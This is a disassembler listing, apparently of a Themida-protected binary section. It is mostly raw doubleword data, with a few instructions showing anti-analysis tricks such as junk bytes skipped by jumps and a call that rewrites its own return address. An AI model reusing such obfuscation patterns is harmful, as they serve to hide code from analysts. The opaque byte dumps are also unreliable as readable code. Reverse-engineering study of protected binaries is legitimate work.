		dd 3145B5FFh, 858D0AE3h, 0AE33AF9h, 1CED8D31h, 0C2800AE3h
		dd 89D0FFE3h, 0E322C985h, 0F181660Ah, 85C6BAD3h, 0AE31CF1h
		dd 55006A4Ch, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 7324397Ch, 9589591Ah, 0AE33319h,	0DA1CE968h
		dd 0C99D01D9h, 0FF0AE31Ah, 0E33145B5h, 0F9858D0Ah, 310AE33Ah
		dd 0E3257D8Dh, 0E9D0FF0Ah, 8, 0F6DFDAC3h, 0D3560A58h, 8589FA8Bh
		dd 0AE311B5h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 15h,	25C35545h, 0FE8B66A7h, 1CF185C6h, 0F5460AE3h, 0DE061468h
		dd 50006ABAh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 4CB5078h, 0E9E57026h, 7,	0AD628342h, 0FF1D63DFh
		dd 0E33145B5h, 21BD8B0Ah, 8B0AE305h, 0E314818Dh, 0F9858D0Ah
		dd 90AE33Ah, 0E33519BDh, 0FD0FF0Ah, 689h, 18D8900h, 890AE318h
		dd 0E320F185h, 0D7BF0F0Ah, 1CF185C6h, 0B5470AE3h, 0B5E26823h
		dd 8B668A0Fh, 698D09CAh, 0FF0AE319h, 0E33145B5h, 50006A0Ah
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 6E93890h, 3B000000h,	2537662Ch, 0F9858D3Dh, 0F0AE33Ah
		dd 0B966C9B7h, 0D0FF1869h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Dh, 9FC35040h, 80F755ACh,	7BB00BE2h, 0D08B66E5h
		dd 4349A0B9h, 39858944h, 0C60AE321h, 0E31CF185h, 0F60470Ah
		dd 683h, 0C99D8B00h, 0F0AE328h,	682h, 0BDB58B00h, 610AE30Ah
		dd 0D0B5F368h, 0AD9D0183h, 0FF0AE322h, 0E33145B5h, 14E90Ah
		dd 49830000h, 0E92FEFDFh, 0C85C1381h, 275809CDh, 90C004DDh
		dd 858D5F8Bh, 0AE33AF9h, 8B0Fh,	0D0FF0000h, 0CF8B6656h
		dd 0D1858959h, 6A0AE317h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 3CB8C355h, 0D281EDEBh
		dd 312EF6BEh, 1CF185C6h, 8B770AE3h, 0A8A368F8h,	890FF397h
		dd 1, 48E280F5h, 3565B5FFh, 0B5290AE3h,	0AE315F1h, 3F19501h
		dd 858D0AE3h, 0AE33AF9h, 14458D8Bh, 95030AE3h, 0AE30609h
		dd 8D8BD0FFh, 0AE3034Dh, 2E618589h, 85890AE3h, 0AE31EDDh
		dd 4C19D89h, 85C60AE3h,	0AE31CF1h, 0F668F847h, 898728FAh
		dd 0E315FD85h, 6DBD890Ah, 0FF0AE334h, 0E33145B5h, 0C98D890Ah
		dd 890AE305h, 0E33549BDh, 0F9858D0Ah, 230AE33Ah, 0E31A1D8Dh
		dd 89D0FF0Ah, 0E31AD5B5h, 3985890Ah, 0F0AE331h,	687h, 0EDBD0B00h
		dd 0C60AE303h, 0E31CF185h, 8B60430Ah, 0FC6861DAh, 0E9BC8E6Eh
		dd 0Fh,	89E19872h, 0B471A916h, 0F0AAF980h, 0FFBD436Bh
		dd 0E33145B5h, 0E5BD8B0Ah, 8D0AE316h, 0E33AF985h, 0F18D310Ah
		dd 0FF0AE316h, 0D78166D0h, 85898680h, 0AE318C1h, 13E9h
		dd 3912DE00h, 2B7DFB62h, 0D20F0671h, 467C0C16h,	4C561D4Bh
		dd 1CF185C6h, 66450AE3h, 0FA2EF781h, 72696968h,	0ED958B8Eh
		dd 660AE312h, 0FF69C9BFh, 0E33145B5h, 8DCA8B0Ah, 0E33AF985h
		dd 50006A0Ah, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 0D568C1E4h, 0D55BEC4Ch, 11E93ADDh, 0BD000000h
		dd 0A117167Fh, 0C7296725h, 0A0187D96h, 8EF69DE8h, 0ACCC8060h
		dd 12E9h, 0E58AD800h, 0D4193BACh, 51CB2B9Fh, 470ECA52h
		dd 61AA1DB7h, 81F8D0FFh, 6FDA38D2h, 99858970h, 810AE310h
		dd 3BB30FD7h, 0F185C606h, 440AE31Ch, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 0D6C35646h,	220E7F65h, 896C1923h
		dd 0E3126195h, 6053600Ah, 0B58B5A61h, 0AE303EDh, 0EC646861h
		dd 0B5FFB8F2h, 0AE33145h, 20E9BD8Bh, 870F0AE3h,	6, 0DA74E181h
		dd 858D38D2h, 0AE33AF9h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 16h, 1C35747h, 8D898BF4h, 0AE30919h, 0B21BD980h
		dd 6AD0FFEEh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 8971C357h, 64C7D706h, 89F2D389h
		dd 0E303D185h, 0B5D0B90Ah, 85C6735Eh, 0AE31CF1h, 14E843h
		dd 3D770000h, 7182F3D6h, 0D14E47DFh, 0A53D5409h, 5C4B77FDh
		dd 820F4E00h, 3, 5AFFBF0Fh, 764AA768h, 55006AC0h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
		dd 0EFDA81A8h, 0FF08BBC4h, 0E33145B5h, 1D9FBA0Ah, 858D3097h
		dd 0AE33AF9h, 0D0FFF6B6h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 83C35343h
		dd 8BFA0D45h, 0E325D995h, 0DD85890Ah, 0F0AE311h, 0BD80D2BFh
		dd 0AE63113h, 8E840F00h, 8B000000h, 0E31261BDh,	0F5858D0Ah
		dd 6A0AE630h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 0D7F5C353h, 6B3D6A6Ch,	10F765DEh
		dd 66D38B66h, 6A50F98Bh, 0CD958B01h, 6A0AE312h,	6AC4B200h
		dd 0AD958900h, 0FF0AE330h, 0E322C995h, 9523530Ah, 0AE334B9h
		dd 9D85895Ah, 600AE32Ch, 89C0B70Fh, 0E3028D85h,	0CF8B610Ah
		dd 0CA8AFF6Ah, 2C9DB5FFh, 8D230AE3h, 0AE30359h,	7D95FFh
		dd 880F0AE3h, 5, 79F18166h, 0E9C08B69h,	7, 0B711681h, 83BBB699h
		dd 0E32569BDh, 975000Ah, 198DBD83h, 74000AE3h, 8B535019h
		dd 7D1B8C0h, 85890000h,	0AE32D95h, 0DDC59D8Dh, 0D3FF0AE5h
		dd 0BD83585Bh, 0AE3198Dh, 50177400h, 7D1B853h, 85890000h
		dd 0AE32D95h, 0DAB49D8Dh, 0D3FF0AE5h, 11E8585Bh, 64000000h
		dd 3BA0C16Ch, 0F5EF056Dh, 0BC3C5BB5h, 5F566E7Eh, 58B0Fh
		dd 81660000h, 5FF4D7D2h, 1ACF8166h, 6AC08B2Ch, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 600CC351h, 750940F5h, 5DB589DEh, 0BF0AE331h,	0F788569h
		dd 1CF185C6h, 66470AE3h, 0A8B1F88Bh, 0C8F7C168h, 0AD958B93h
		dd 0F0AE307h, 0B5FFCEBFh, 0AE33145h, 0AE9h, 9BDC4200h
		dd 0BE0F2242h, 8DB73336h, 0E33AF985h, 0FE80Ah, 6CCF0000h
		dd 0CADA6482h, 0FE480086h, 526D3610h, 1200BA4Eh, 0FF594619h
		dd 65BD89D0h, 500AE31Dh, 0C840Fh, 8D0F0000h, 6,	8D0Fh
		dd 858D0000h, 0AE63536h, 4870Fh, 0BA660000h, 0C7AA4Eh
		dd 94h,	58F88B66h, 15F1BD33h, 0B58D0AE3h, 0AE63536h, 236D8D8Bh
		dd 0AE80AE3h, 70000000h, 0B593D2FAh, 35F25009h,	0F88B66A0h
		dd 8D8B565Ah, 0AE307FDh, 858DD0FFh, 0AE63536h, 0B7D98166h
		dd 4788393h, 21850F06h,	60000000h, 0FCCB8166h, 5E966h
		dd 6FF10000h, 61663470h, 35CA85C7h, 10AE6h, 958B0000h
		dd 0AE317A1h, 1A5BD83h,	0F000AE3h, 6885h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
		dd 61953608h, 5DBD29F9h, 830AE322h, 0E635CABDh,	850F000Ah
		dd 35h,	1C95BD29h, 8D0B0AE3h, 0AE30331h, 167DBD83h, 0F000AE3h
		dd 1C84h, 71B50900h, 0B0AE329h,	0E32FCD95h, 0D85C70Ah
		dd 0AE304h, 8B000000h, 0E317A195h, 0DB8C660Ah, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0A4C35646h, 99633BAEh
		dd 0EDEC5E1Eh, 8BD38B91h, 0E32961BDh, 4C3F60Ah,	586840Fh
		dd 0C9810000h, 22148FB6h, 226985C7h, 0AE3h, 0BA660000h
		dd 0BD80AAFCh, 0AE63120h, 850F00h, 0C6000000h, 0E31CF185h
		dd 6A470Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 0DAA6F0C3h, 68D92CE4h, 0E3E45B86h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 86C35545h, 5D959ADEh
		dd 9D897D29h, 0AE31835h, 13E9h,	0CD10BB00h, 98AA4E1h, 0D7F8FBBFh
		dd 60405679h, 95922D99h, 3145B5FFh, 8BF50AE3h, 0F9858DD3h
		dd 0E90AE33Ah, 0Ch, 6DA65DC0h, 468A1B82h, 697FE39h, 6AD0FFh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 4A65B3C3h, 8D29D049h, 0AE31845h, 10468h, 6D958B00h
		dd 8D0AE322h, 0E323DD9Dh, 9D01570Ah, 0AE32D1Dh,	0BA66535Ah
		dd 0D0FF8907h, 6860Fh, 840F0000h, 0
; ---------------------------------------------------------------------------
		lea	eax, [ebp+0AE323DDh]
		pusha
		jmp	loc_5B682D
; ---------------------------------------------------------------------------
		dd 62056E3Fh, 1C4D44CFh
		db 9Ah
; ---------------------------------------------------------------------------


loc_5B682D:				; CODE XREF: Themida_:005B681Fj
		or	[ebp+0AE31DD1h], ecx
		popa
		push	eax
		add	ecx, 54F97E30h
		lea	eax, [ebp+0AE630D2h]
		mov	edi, [ebp+0AE31289h]
		push	eax
		mov	dh, 0A2h
		lea	eax, [ebp+0AE627A5h]
		sub	[ebp+0AE316DDh], edi
		push	eax
		push	0
		push	ecx
		call	sub_5B6862
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B6862	proc near		; CODE XREF: Themida_:005B685Ap

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5B6862	endp

; ---------------------------------------------------------------------------
		dw 9467h
		dd 9143F7Ah, 0E3189D8Dh, 6195FF0Ah, 6A0AE32Eh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 1D0FC352h, 0EFEC40F2h, 2D25B589h, 958B0AE3h,	0AE30779h
		dd 8B0CC483h, 0E3028D8Dh, 68006A0Ah, 80h, 6A036Ah, 68006Ah
		dd 8D800000h, 0E627A585h, 95FF500Ah, 0AE318C1h,	30B58589h
		dd 85C60AE6h, 0AE31CF1h, 5E876847h, 0B5FFC7B1h,	0AE33145h
		dd 3AF9858Dh, 0D0FF0AE3h, 0B5FF006Ah, 0AE630B5h, 6AD0FFh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 5C4F28C3h, 591D7424h, 9589F9EFh, 0AE30235h, 0BCCF8166h
		dd 56006A11h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 3D853519h, 37D0h, 83830Fh, 0BD090000h, 0AE30799h
		dd 30B5B5FFh, 6A0AE6h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 0AE68F4C3h, 0A154DD37h, 11DD95FFh
		dd 6A0AE3h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 0FB8D95C3h, 3FF30996h, 0E8FC0017h, 0Eh, 0E28E2120h
		dd 2E3D3F99h, 0E8292E83h, 9D898F5Ch, 0AE30FD5h,	0D3E95Ah
		dd 81660000h, 89080FEFh, 0E30339BDh, 0B5B5FF0Ah, 310AE630h
		dd 0E3024D8Dh, 56ECBA0Ah, 95FF2DB2h, 0AE311DDh,	1E59BD89h
		dd 6A0AE3h, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 1Ah,	94C35747h, 3899E579h, 99B1EF08h, 6A5A52h, 6AC0DD80h
		dd 2BEA8100h, 6A4DED30h, 6E900h, 170F0000h, 5B8723D0h
		dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 71C75AC3h, 10E9h,	0C721CB00h, 0B62E9DEh
		dd 517E4930h, 0B88FB2Fh, 6A34B1A6h, 518D8B00h, 8D0AE31Eh
		dd 0E630B985h, 0AA42BA0Ah, 0F5504396h, 18C195FFh, 840F0AE3h
		dd 6, 6319589h,	0F8830AE3h, 0F3850FFFh,	8B000000h, 0B2858DCFh
		dd 6A0AE5EBh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 8B0BC350h, 0E30A6595h,	66D0FF0Ah
		dd 53A2F181h, 8166006Ah, 0F0F65F1h, 386h, 0E2F58000h, 8D89006Ah
		dd 0AE33189h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 0D1CEC6C3h, 5E11A689h, 6A22FDh
		dd 8E0Fh, 6A0000h, 4498D8Bh, 6A0AE3h, 5830Fh, 0B0BA0000h
		dd 8D77804Eh, 0E630B985h, 27E7810Ah, 500A70A1h,	4B98D8Bh
		dd 95FF0AE3h, 0AE318C1h, 1C618D8Bh, 0F8830AE3h,	3F850FFFh
		dd 0E9000000h, 0Eh, 0EC8CDCEDh,	0C776B29Bh, 0D42F64DDh
		dd 0CF8B3AC5h, 2AC1B58Dh, 81660AE6h, 8D33A4DFh,	0E5D79585h
		dd 8BD0FF0Ah, 0E3109D95h, 0F006A0Ah, 95FFD0B7h,	0AE31099h
		dd 0DE08CA81h, 8589195Dh, 0AE630B5h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 25C35343h, 0C578DB1Ah, 8D2B006Ah
		dd 0AE3299Dh, 30AD858Dh, 0BF0F0AE6h, 6A50D6h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 87E9FDC3h
		dd 0F6E92A71h, 41953372h, 660AE325h, 0B0E4F181h, 7E8949BFh
		dd 60046A6Eh, 12158D03h, 8D610AE3h, 0E321A985h,	10E90Ah
		dd 0EE9E0000h, 8A440664h, 0D017DA9h, 153E4D7Eh,	8150C208h
		dd 56ABE4C7h, 8B006A10h, 0E3138595h, 0F006A0Ah,	16AFEBFh
		dd 6E9h, 5D297D00h, 0FF946FD5h,	0E630B5B5h, 55006A0Ah
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 3E6A6F0Bh, 9E806394h, 8E99EF5h, 0CC000000h, 0F17AEEBCh
		dd 8B8D2191h, 0E30605BDh, 0D195FF0Ah, 310AE303h, 0E3310D95h
		dd 1996E90Ah, 0F1810000h, 7E56CBC7h, 0FE9C08Bh,	4C000000h
		dd 8949F55Bh, 59C912CEh, 89590FF3h, 0BD8308BEh,	0AE32569h
		dd 83097500h, 0E3198DBDh, 1974000Ah, 0C08B5350h, 7D2B8h
		dd 95858900h, 8D0AE32Dh, 0E5DDC59Dh, 5BD3FF0Ah,	8DBD8358h
		dd 0AE319h, 53501774h, 7D2B8h, 95858900h, 8D0AE32Dh, 0E5DAB49Dh
		dd 5BD3FF0Ah, 0CFB70F58h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 3BC35343h, 83F5B507h,	0A4F18060h, 5E9h
		dd 0C3E1D200h, 8B61DB20h, 6985C7C0h, 10AE322h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 87FCC357h, 8002FEAAh, 0DE9C7h, 6D850000h
		dd 3E0423DFh, 0E75DB30Eh, 0FC28929Eh, 0E4E7B868h, 0B5B5FFCEh
		dd 8D0AE304h, 0E33AF985h, 89D0FF0Ah, 0E3250585h, 11858D0Ah
		dd 500AE633h, 35CE858Dh, 68500AE6h, 80000001h, 250595FFh
		dd 0C00B0AE3h, 85C70A75h, 0AE326BDh, 1,	5DBD468h, 0B5B5FFC0h
		dd 8D0AE304h, 0E33AF985h, 89D0FF0Ah, 0E32C7985h, 5E858D0Ah
		dd 500AE625h, 3145B5FFh, 95FF0AE3h, 0AE32139h, 0B74C00Bh
		dd 858DD88Bh, 0AE63511h, 8DD3FF50h, 0E6351185h,	3883660Ah
		dd 0C70A7509h, 0E3023185h, 10Ah, 3995FF00h, 250AE331h
		dd 0FFh, 7305F883h, 0D985C70Ah,	10AE31Bh, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 35D2C351h, 0E8C6B080h, 9, 0A5AF8478h, 92857797h, 0BBD1BFFDh
		dd 805F6439h, 0E63120BDh, 840F000Ah, 3Ah, 83C9BF0Fh, 0E635CABDh
		dd 840F000Ah, 35h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 8AC35141h, 0FAA4BF0Ah, 295049C8h, 0E3322D95h
		dd 91E95A0Ah, 29000017h, 0E3312195h, 31BD830Ah,	0AE302h
		dd 9B850Fh, 8B660000h, 0EA858DCAh, 0B10AE630h, 8166500Fh
		dd 6A17ACC1h, 56006A01h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 91BD890Ah, 6A0AE326h, 0CDBD8B00h
		dd 6A0AE316h, 0CBB70F00h, 22C995FFh, 0EA800AE3h, 1485899Dh
		dd 0E80AE631h, 0Dh, 943FFAA7h, 15FF7B32h, 717C0D5Fh, 0C98D23B1h
		dd 5A0AE334h, 0CF8BFF6Ah, 3114B5FFh, 0BE90AE6h,	48000000h
		dd 0C84ADAE4h, 180D43FBh, 95FF4010h, 0AE3007Dh,	5E8h, 390BD100h
		dd 0B589B6C9h, 0AE30CF1h, 25858D5Fh, 8A0AE625h,	0EE850F5h
		dd 6E000000h, 81DFDB8Fh, 0AA412929h, 0CDA16FA8h, 8FBA66E8h
		dd 95FF5F21h, 0AE311B5h, 25AF8589h, 0B5290AE6h,	0AE310EDh
		dd 2532858Dh, 8B600AE6h, 0E332E595h, 138A0F0Ah,	0E8000000h
		dd 0Dh,	78EE2AE4h, 0C734EF1Eh, 9E139BBBh, 50615A66h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 21C35343h, 0DFB7C948h
		dd 0B5FF954Dh, 0AE625AFh, 68C0Fh, 8D8B0000h, 0AE300E5h
		dd 213995FFh, 0BD8B0AE3h, 0AE30349h, 11918589h,	81660AE3h
		dd 89234FE9h, 0E32C25BDh, 0A0858D0Ah, 8A0AE625h, 8E9CBh
		dd 67C60000h, 1BEA1530h, 0F50DC52h, 58Eh, 0C34AB900h, 0FA8B6FB0h
		dd 25AFB5FFh, 8D890AE6h, 0AE32C95h, 213995FFh, 0BD2B0AE3h
		dd 0AE30419h, 25C38589h, 31570AE6h, 0E32191BDh,	6652590Ah
		dd 8D5FCE8Bh, 0E6257F85h, 9CB9660Ah, 559501E1h,	500AE304h
		dd 0BE9h, 58B62400h, 7EF89CCAh,	0E38BB472h, 25AFB5FFh
		dd 6A0AE6h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 461B3EC3h
		dd 66615BA8h, 95FFCA8Bh, 0AE32139h, 0D3063BB9h,	0BB858934h
		dd 8D0AE625h, 0E6257285h, 6820F0Ah, 89000000h, 0E315F19Dh
		dd 958B500Ah, 0AE31179h, 25AFB5FFh, 0FFF50AE6h,	0E3213995h
		dd 57006A0Ah, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 0F98BA870h, 25BF8589h, 858D0AE6h, 0AE6258Dh
		dd 5E956h, 55220000h, 5FC90A0Dh, 6830F50h, 1000000h, 0E315FD95h
		dd 0CEB70F0Ah, 25AFB5FFh, 0CB8B0AE6h, 213995FFh, 9E80AE3h
		dd 7C000000h, 813EA10Eh, 0B3A8EE9Ah, 0BEA1F181h, 89592C61h
		dd 0E3154985h, 8DF4B50Ah, 0E6254185h, 0CDBD330Ah, 0F0AE315h
		dd 0E8Bh, 6E800h, 5D490000h, 6EFC33B5h,	505A5A51h, 3840Fh
		dd 8B660000h, 0AFB5FFD7h, 6A0AE625h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 48F3C355h
		dd 0CA461D7Bh, 6689ECBAh, 8B9024BAh, 0E332CD95h, 3995FF0Ah
		dd 6A0AE321h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 5D2AC357h, 0C91CCAD8h,	85892973h
		dd 0AE625B3h, 2FDFF3BAh, 50858D05h, 0E90AE625h,	5, 0ADEA0FAEh
		dd 4CBF5017h, 0FF01935Eh, 0E625AFB5h, 0FFD18A0Ah, 0E3213995h
		dd 6E90Ah, 80C30000h, 821523Eh,	25B78589h, 870F0AE6h, 6
		dd 2481E781h, 858927A8h, 0AE30CF1h, 10468h, 0EF816600h
		dd 816603B0h, 8D89EFD7h, 0E6264785h, 9D8D2B0Ah,	500AE31Ch
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 60C35343h
		dd 48E0Fh, 0B9660000h, 858D9C4Bh, 0AE6274Bh, 0CEC094BAh
		dd 50FAB61Ch, 17D195FFh, 10E80AE3h, 97000000h, 0F0D7E96Dh
		dd 716508FEh, 182EB038h, 0FF94D7Bh, 288h, 5F5A5300h, 859DD180h
		dd 6850FC0h, 89000000h,	0E332B59Dh, 20BD800Ah, 0AE631h
		dd 0B850Fh, 0F7810000h,	28D2E70Dh, 137FE9h, 31BD8300h
		dd 0AE302h, 34850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 4B6757C3h, 83FFBF0Fh
		dd 0E635CABDh, 840F000Ah, 60h, 1BB98D8Bh, 858D0AE3h, 0AE625E4h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0BCC35141h
		dd 4BCB5538h, 489C3A60h, 14E9h,	0C35D7700h, 303C2F7Ch
		dd 0C01A6810h, 7865C956h, 53DD44DFh, 12F6E931h,	8BF80000h
		dd 0E3106995h, 11E90Ah,	8D8B0000h, 0AE312A1h, 25CF858Dh
		dd 81660AE6h, 5094ADD9h, 6E9h, 0D38AF600h, 8D9B0FC5h, 0E6264785h
		dd 52006A0Ah, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 0F59ABE0Bh, 3DADBA72h, 0F502482h, 28Ah
		dd 83F98B00h, 0E30231BDh, 840F000Ah, 17h, 23118501h, 858D0AE3h
		dd 0AE6276Dh, 0E9D08B66h, 0Eh, 8DD08B66h, 0E6275685h, 16E4BA0Ah
		dd 0F505C19h, 858DFABFh, 0AE627A5h, 0E6868BAh, 0FE8B5047h
		dd 2E6195FFh, 85890AE3h, 0AE30715h, 8B10C483h, 0E32CF58Dh
		dd 9C08B0Ah, 0E308BDBDh, 69BD830Ah, 0AE325h, 0BD830975h
		dd 0AE3198Dh, 50197400h, 0B8C08B53h, 7D3h, 2D958589h, 9D8D0AE3h
		dd 0AE5DDC5h, 585BD3FFh, 198DBD83h, 74000AE3h, 0B8535017h
		dd 7D3h, 2D958589h, 9D8D0AE3h, 0AE5DAB4h, 585BD3FFh, 0CF8B66F5h
		dd 8531C08Bh, 0AE322C5h, 25CFBD81h, 726F0AE6h, 840F6165h
		dd 92h,	858DEA8Ah, 0AE62647h, 84858D50h, 500AE627h, 27A5858Dh
		dd 0FF500AE6h, 0E32E6195h, 0CC4830Ah, 1CF185C6h, 68440AE3h
		dd 96A3184Fh, 3145B5FFh, 858D0AE3h, 0AE33AF9h, 0D88BD0FFh
		dd 27A5858Dh, 0FF500AE6h, 0CF858DD3h, 500AE625h, 2647858Dh
		dd 83500AE6h, 0E30231BDh, 874000Ah, 276D858Dh, 6EB0AE6h
		dd 2756858Dh, 8D500AE6h, 0E627A585h, 95FF500Ah,	0AE32E61h
		dd 5110C483h, 68B0Fh, 0BD8B0000h, 0AE32B85h, 0D78B665Fh
		dd 0A31B589h, 95FF0AE3h, 0AE33139h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 3CC35646h, 5E849ADh, 0AF000000h
		dd 0F2A8D791h, 1CBD958Bh, 0B9590AE3h, 5E70CEE3h, 0FF25h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 0DD60E45Eh, 26A0F657h, 9E9C4h, 7CAB0000h
		dd 0AB05A1F7h, 83628A6Fh, 830F05F8h, 82h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 18h, 8C35747h, 5CC73F23h
		dd 75DF8166h, 0D985C7ECh, 10AE31Bh, 0E8000000h,	10h, 0F671BA5h
		dd 3DFC382Dh, 94ED015Dh, 0D729D728h, 1ADBD89h, 8D5F0AE3h
		dd 0E6260385h, 52006A0Ah, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 8928A058h, 0E317818Dh
		dd 0AD958B0Ah, 0E90AE323h, 35h,	0BD83CB8Bh, 0AE30231h
		dd 1A840F00h, 8B000000h, 0E3291995h, 2E858D0Ah,	8B0AE626h
		dd 0E31969BDh, 0FE90Ah,	8B660000h, 10858DF8h, 890AE626h
		dd 0E32375B5h, 4385890Ah, 0BF0AE626h, 3FEFE741h, 231BD83h
		dd 0F000AE3h, 2E85h, 7E800h, 0E6810000h, 0D6D2CF60h, 0D3B70FBAh
		dd 0CABD835Fh, 0AE635h,	1A840Fh, 5E80000h, 9A000000h, 690231C7h
		dd 7999589h, 0E95A0AE3h, 0FC8h,	9207B966h, 439E9h, 21958B00h
		dd 8B0AE335h, 91BD29C0h, 830AE312h, 0E32569BDh,	975000Ah
		dd 198DBD83h, 74000AE3h, 8B535019h, 7D4B8C0h, 85890000h
		dd 0AE32D95h, 0DDC59D8Dh, 0D3FF0AE5h, 0BD83585Bh, 0AE3198Dh
		dd 50177400h, 7D4B853h,	85890000h, 0AE32D95h, 0DAB49D8Dh
		dd 0D3FF0AE5h, 8589585Bh, 0AE32685h, 23A58D8Bh,	0C08B0AE3h
		dd 2D999D89h, 0B9660AE3h, 3F682CABh, 66000F00h,	728F281h
		dd 800F006Ah, 3, 6AF88B66h, 0E1EF8100h,	0FF6AEDE8h, 0E3119195h
		dd 0EE90Ah, 82FB0000h, 96BA1429h, 0C98CA7AAh, 5048C203h
		dd 6B1BD8Bh, 0C0850AE3h, 6850Fh, 0BD890000h, 0AE31C81h
		dd 25C78589h, 6A0AE6h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 6AA74DC3h, 23006A00h, 0E32E6D8Dh
		dd 0E8006A0Ah, 14h, 5FE20C1Ch, 74FEC470h, 0C52E477Fh, 0C413C97Ch
		dd 21BBA73h, 5F616050h,	60006A5Fh, 1769858Bh, 0F38B0AE3h
		dd 60006A61h, 1655BD89h, 0F38B0AE3h, 0A5858D61h, 0F0AE627h
		dd 58Fh, 6462BF00h, 0F506A99h, 68Fh, 8D958B00h,	0F90AE31Ah
		dd 6A016Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 4D4099C3h, 0F0FEC60h, 68Eh, 3D8D8900h, 0B20AE316h
		dd 0B016A02h, 0E323CDBDh, 5BD310Ah, 6A0AE315h, 56006A01h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 64E988B9h, 87C846BBh, 91958960h, 660AE312h, 0C14CDF81h
		dd 0BD895061h, 0AE31529h, 1FF685Fh, 8589000Fh, 0AE30455h
		dd 231BD83h, 0F000AE3h,	4A84h, 57006A00h, 3E8h,	0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0AE246E5Ch
		dd 72BC90BBh, 0D38B6651h, 24858D5Ah, 290AE626h,	0E30449B5h
		dd 27E90Ah
		dd 9E80000h, 0AB000000h, 0F025605Ch, 0E162EF1Ch, 8D5AD68Bh
		dd 0E625FA85h, 8B60530Ah, 0E319AD8Dh, 0FD9D0B0Ah, 610AE311h
		dd 8D89505Fh, 0AE31A75h, 8D895050h, 0AE31909h, 0C7B5FF5Ah
		dd 6A0AE625h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 0CC93C353h, 14758D8Bh,	95FF0AE3h
		dd 0AE625B3h, 22899589h, 0C0850AE3h, 16850Fh, 0AE90000h
		dd 1A000000h, 16DD598Bh, 0C25358A5h, 4AE978h, 0F88B0000h
